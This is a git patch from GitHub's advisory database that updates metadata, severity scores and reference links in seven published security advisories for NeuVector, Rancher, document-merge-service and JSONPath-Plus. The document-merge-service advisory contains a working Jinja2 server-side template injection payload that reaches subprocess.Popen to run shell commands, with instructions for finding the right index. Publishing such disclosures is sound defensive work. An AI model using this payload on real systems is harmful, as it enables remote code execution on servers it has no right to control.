From 2b79e50f9be3ca1d233b1a3547a8c31da7a04bd4 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 16 Oct 2024 17:06:38 +0000 Subject: [PATCH] Publish Advisories GHSA-622h-h2p8-743x GHSA-xfj7-qf8w-2gcr GHSA-9wmf-xf3h-r8pr GHSA-9ghh-mmcq-8phc GHSA-v5gf-r78h-55q6 GHSA-rpcc-p8xm-rc6p GHSA-pppg-cpfq-h7wr --- .../GHSA-622h-h2p8-743x.json | 19 +++++++++++++++---- .../GHSA-xfj7-qf8w-2gcr.json | 12 ++++++++++-- .../GHSA-9wmf-xf3h-r8pr.json | 3 ++- .../GHSA-9ghh-mmcq-8phc.json | 12 ++++++++++-- .../GHSA-v5gf-r78h-55q6.json | 4 ++-- .../GHSA-rpcc-p8xm-rc6p.json | 4 ++-- .../GHSA-pppg-cpfq-h7wr.json | 6 +++++- 7 files changed, 46 insertions(+), 14 deletions(-) diff --git a/advisories/github-reviewed/2023/10/GHSA-622h-h2p8-743x/GHSA-622h-h2p8-743x.json b/advisories/github-reviewed/2023/10/GHSA-622h-h2p8-743x/GHSA-622h-h2p8-743x.json index 58319d09c35..bfb7ecb8229 100644 --- a/advisories/github-reviewed/2023/10/GHSA-622h-h2p8-743x/GHSA-622h-h2p8-743x.json +++ b/advisories/github-reviewed/2023/10/GHSA-622h-h2p8-743x/GHSA-622h-h2p8-743x.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-622h-h2p8-743x", - "modified": "2024-09-25T15:28:50Z", + "modified": "2024-10-16T17:05:17Z", "published": "2023-10-06T20:43:52Z", "aliases": [ "CVE-2023-32188" @@ -9,7 +9,10 @@ "summary": "JWT token compromise can allow malicious actions including Remote Code Execution (RCE) ", "details": "### Impact \n\nA user can reverse engineer the JWT token (JSON Web Token) used in authentication for Manager and API access, forging a valid NeuVector Token to perform malicious activity in NeuVector. This can lead to an RCE. \n\n### Patches \n\nUpgrade to NeuVector [version 5.2.2](https://open-docs.neuvector.com/releasenotes/5x) or later and latest Helm chart (2.6.3+). \n+ In 5.2.2 the certificate for JWT-signing is created automatically by controller with validity of 90days and rotated automatically.\n+ Use Helm-based deployment/upgrade to 5.2.2 to generate a unique certificate for Manager, REST API, ahd registry adapter. Helm based installation/upgrade is required in order to automatically generate certificates upon initial installation and each subsequent upgrade. \n+ See [release notes](https://open-docs.neuvector.com/releasenotes/5x) for manual/yaml based deployment advice.\n+ 5.2.2 also implements additional protections against possible RCE for the feature of custom compliance scripts. \n\n### Workarounds \n\nUsers can replace the Manager & Controller certificate manually by following the instructions in documented [here](https://open-docs.neuvector.com/configuration/console/replacecert). However, upgrading to 5.2.2 and replacing Manager/REST API certificate is recommended to provide additional security enhancements to prevent possible attempted exploit and resulting RCE. See [release notes](https://open-docs.neuvector.com/releasenotes/5x) for additional details.\n\n### Credits \n\nThank you to [Dejan Zelic](https://dejandayoff.com/) at [Offensive Security](https://www.offsec.com/) for responsibly reporting this vulnerability. \n\n### For More Information \n\nView the NeuVector [Security Policy](https://github.com/neuvector/neuvector/security) \n\nGeneral NeuVector [documentation](https://open-docs.neuvector.com/) ", "severity": [ - + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" + } ], "affected": [ { @@ -40,6 +43,14 @@ "type": "WEB", "url": "https://github.com/neuvector/neuvector/security/advisories/GHSA-622h-h2p8-743x" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32188" + }, + { + "type": "WEB", + "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-32188" + }, { "type": "PACKAGE", "url": "https://github.com/neuvector/neuvector" @@ -51,11 +62,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-1270" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2023-10-06T20:43:52Z", - "nvd_published_at": null + "nvd_published_at": "2024-10-16T09:15:03Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-xfj7-qf8w-2gcr/GHSA-xfj7-qf8w-2gcr.json b/advisories/github-reviewed/2024/02/GHSA-xfj7-qf8w-2gcr/GHSA-xfj7-qf8w-2gcr.json index 96c16b8b673..99ea39b567c 100644 --- a/advisories/github-reviewed/2024/02/GHSA-xfj7-qf8w-2gcr/GHSA-xfj7-qf8w-2gcr.json +++ b/advisories/github-reviewed/2024/02/GHSA-xfj7-qf8w-2gcr/GHSA-xfj7-qf8w-2gcr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-xfj7-qf8w-2gcr", - "modified": "2024-07-08T20:18:01Z", + "modified": "2024-10-16T17:05:11Z", "published": "2024-02-08T18:44:25Z", "aliases": [ "CVE-2023-22649" @@ -82,6 +82,14 @@ "type": "WEB", "url": "https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22649" + }, + { + "type": "WEB", + "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-22649" + }, { "type": "PACKAGE", "url": "https://github.com/rancher/rancher" @@ -94,6 +102,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-02-08T18:44:25Z", - "nvd_published_at": null + "nvd_published_at": "2024-10-16T08:15:04Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/04/GHSA-9wmf-xf3h-r8pr/GHSA-9wmf-xf3h-r8pr.json b/advisories/github-reviewed/2024/04/GHSA-9wmf-xf3h-r8pr/GHSA-9wmf-xf3h-r8pr.json index d9977e6fd90..50b534524bc 100644 --- a/advisories/github-reviewed/2024/04/GHSA-9wmf-xf3h-r8pr/GHSA-9wmf-xf3h-r8pr.json +++ b/advisories/github-reviewed/2024/04/GHSA-9wmf-xf3h-r8pr/GHSA-9wmf-xf3h-r8pr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9wmf-xf3h-r8pr", - "modified": "2024-07-03T20:20:55Z", + "modified": "2024-10-16T17:06:11Z", "published": "2024-04-25T18:30:39Z", "aliases": [ "CVE-2024-1102" @@ -76,6 +76,7 @@ "database_specific": { "cwe_ids": [ "CWE-200", + "CWE-523", "CWE-532" ], "severity": "MODERATE", diff --git a/advisories/github-reviewed/2024/06/GHSA-9ghh-mmcq-8phc/GHSA-9ghh-mmcq-8phc.json b/advisories/github-reviewed/2024/06/GHSA-9ghh-mmcq-8phc/GHSA-9ghh-mmcq-8phc.json index 267bac2c94b..8ba3cf16731 100644 --- a/advisories/github-reviewed/2024/06/GHSA-9ghh-mmcq-8phc/GHSA-9ghh-mmcq-8phc.json +++ b/advisories/github-reviewed/2024/06/GHSA-9ghh-mmcq-8phc/GHSA-9ghh-mmcq-8phc.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9ghh-mmcq-8phc", - "modified": "2024-07-08T21:17:58Z", + "modified": "2024-10-16T17:05:22Z", "published": "2024-06-17T22:30:46Z", "aliases": [ "CVE-2023-22650" @@ -63,6 +63,14 @@ "type": "WEB", "url": "https://github.com/rancher/rancher/security/advisories/GHSA-9ghh-mmcq-8phc" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22650" + }, + { + "type": "WEB", + "url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-22650" + }, { "type": "PACKAGE", "url": "https://github.com/rancher/rancher" @@ -76,6 +84,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-06-17T22:30:46Z", - "nvd_published_at": null + "nvd_published_at": "2024-10-16T09:15:02Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json index deb6fe695ed..9ce780d2448 100644 --- a/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json +++ b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-v5gf-r78h-55q6", - "modified": "2024-09-30T19:41:05Z", + "modified": "2024-10-16T17:06:04Z", "published": "2024-06-11T20:22:55Z", "aliases": [ "CVE-2024-37301" ], "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection", - "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"ls -a\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"whoami\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\\\"uname -a\\\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n(note: the service would not run as root if configured correctly)", + "details": "### Impact\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n\nIt has been patched in v6.5.2\n\n### References\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/08/GHSA-rpcc-p8xm-rc6p/GHSA-rpcc-p8xm-rc6p.json b/advisories/github-reviewed/2024/08/GHSA-rpcc-p8xm-rc6p/GHSA-rpcc-p8xm-rc6p.json index 28bda99df9a..8bf1cec8554 100644 --- a/advisories/github-reviewed/2024/08/GHSA-rpcc-p8xm-rc6p/GHSA-rpcc-p8xm-rc6p.json +++ b/advisories/github-reviewed/2024/08/GHSA-rpcc-p8xm-rc6p/GHSA-rpcc-p8xm-rc6p.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-rpcc-p8xm-rc6p", - "modified": "2024-08-07T19:39:41Z", + "modified": "2024-10-16T17:05:02Z", "published": "2024-08-02T21:31:34Z", "aliases": [ "CVE-2024-3056" @@ -141,7 +141,7 @@ "cwe_ids": [ "CWE-400" ], - "severity": "MODERATE", + "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-08-05T17:28:04Z", "nvd_published_at": "2024-08-02T21:16:30Z" diff --git a/advisories/github-reviewed/2024/10/GHSA-pppg-cpfq-h7wr/GHSA-pppg-cpfq-h7wr.json b/advisories/github-reviewed/2024/10/GHSA-pppg-cpfq-h7wr/GHSA-pppg-cpfq-h7wr.json index 057fc57d4a0..2f2f96e8c03 100644 --- a/advisories/github-reviewed/2024/10/GHSA-pppg-cpfq-h7wr/GHSA-pppg-cpfq-h7wr.json +++ b/advisories/github-reviewed/2024/10/GHSA-pppg-cpfq-h7wr/GHSA-pppg-cpfq-h7wr.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-pppg-cpfq-h7wr", - "modified": "2024-10-14T16:27:22Z", + "modified": "2024-10-16T17:05:07Z", "published": "2024-10-11T15:30:32Z", "aliases": [ "CVE-2024-21534" @@ -52,6 +52,10 @@ "type": "PACKAGE", "url": "https://github.com/JSONPath-Plus/JSONPath" }, + { + "type": "WEB", + "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-8185019" + }, { "type": "WEB", "url": "https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884"